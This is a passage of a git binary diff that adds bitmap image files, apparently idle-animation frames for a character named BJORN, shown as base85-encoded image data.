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 z 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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE26.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE26.bmp new file mode 100644 index 0000000000000000000000000000000000000000..0e5d33dfc8cb7760cfdf06ca1fd9150bc7b962e8 GIT binary patch literal 18462 zcmcJX2V4``*1+9wZAi7FqDb#0frOGk3M8QhNbkM(Lhr?f1r-Zo2eDV|y_a>>b#?7s zK(M!6yO8gO?Bn@X-M7BCFTcY$naoV?|DJQtIrrR&*z_?;y}Dm;u=NLj#NYqE>*d;g z{63*qucJ=3zwQHIWBK2|y1KePeE87W+4+aB>g@aoj(`04v8(G3pZrhW{_j}9r> z-*>(F_1(*7uU@@;Yx!65PfzPP|L@)T->?ETb#`_3H2>Ah*YoGi7sz?ZOk5%pgJYpn z_&BmSLm=apm6z|{x$oVp_W%oA)ve<{Q!+4-j~_cfe6(7F?FIHex0o+>(%;J3-4JUF zdcNxI>kq3}t-)r*Mae=FOX6tDk_0_*{@=m+JK`r__3GuDlgCa?uAYp~!a}Hi z^i`Rn?Lu5pB8r*25WvMUXKlk2~A8$ZfIQG+S=07IzVjG zSx^7HdG+q-q2sl)Ym3GeQlrt_*wE0{+SYStuyf%UM_et3MCENp2 zAUuG3M9JAAz?+E}HVu)Pfh1C*ld=#*8j_U}Z%oWuMy2gGLDJ*TpKE#ko8`r8%d?l3 zd2`mJB+}v%kkPtG!9Jn<2MzC#f_*^3-XoHp(#OiMF+oZ=oS9mPm+Tj4e^R8(K#8)2 zzy10Ow6Ld^)-cUNIo!9gy<7 zDSu}@Am!|raE{27r&O79Q*pUyLKTj`NtjumL0`kxT*zi0&W@3#E?>U!<*$}otsm~T zf4Ft`?Vhc-C^T_=L6qi%&!MIT+tPP5pM(9*aG={~(1$il7Fh&%(*}i4{lXyuAYEPM%;FU$9Ha+au%y)^1!r zXc{o!13bf`H%pT$n7&c5)zz~*yDWFw-reo! zy7$m>>B0*suOLzuu0E^d?2~YSarAWFehGa&m$gwqo<|8o<6t3zm@pkYSOg8F#bX&> zzEO)7tpJEU9?gdP*Ys+;=-H!ZTAd~+!!K)2lIE~jwqL~G#^vwe@OSdKR#3ih7oWdN zDA*$s>;}*xn{f6Bx%))CePZqbnP|T>Bq>mmKV|jt8|3_XFuEkGS;jxE!52{cVNo;Z zEPeG`XKUMsmiEs3Pc7?L9E(VWi;gHb2V~Z+>SkqIab<$tqO=LgG0ccaW@yH=EPQcR zTm~&JUKIn?#D;1^y_o1Y(uWV-G5eFi^%q!epr=lpMyAFl6vV3biX?luyv;P>R;Fkh zN4SH_-wuSw-@)hY6!3QfXaRo*kGG32-Y=3Il?ji@g-2w(Lt@Szf#`@7n~y^#6Dnpc zjALrOqoY&iaK)!}+^r`6_^=~~&pmnC)poD*?!AvsUsyEC0^GDD@sCQN)Nad=@(xNl zd&R;NYIH$DBsQV6X=5as;2j?6_eZe9Va%!8(#?6IIkq10vi^7dA6Qo0&qZ zFhtu}z^dhY1@y*DOb#k0D?TA5O)NGExn@^)*Ra%J|Flq;8i$|GPOIY)>%<9p3{OAQ z=pk{=&LajmI@HfvfAV90ZH=K}9jw>KH4TzOdlHkf_y7Yp$HXWP|&|_Un2D+6QUK{f-B*X$a9W zl5!(mvW6txKo+ehiNJOfRcM8#3O7R{5pEG^!$XE1g z8>w=mk~}RzwT38LkuC?aJVUmUC|yaEtjvoxd_q;g$`dLxxOGbJID z@cikE_wV0>oE50^Q?L6u@t0UZ5(rMbe)SfL8>d{8AzzXtZ%R=tPgSf)1JFRkD^fKZ zXt5k;Y>U05To^K^aJq;-mLTEjnpw4p`AFTWbmdZlvLQ*a zEJfawEL)Z=X-w5_pv8+|kVrdmm9KI|ifjo%yeLt-GA%PFu1~*S1hI#5uYk2pzyUc1 za4Y*Id=N1}K733`T||q_f{$xhr>k!APe`S%S8$IQ(0PoA_z`T016?`*PjLtcv(uOR z7EOjmr+V;KvP2+?Z)O1zHZ!HWxuhB*G~P+K7$aLjlr1Hw*U@9Bh^v>bf%)qnBFv|h 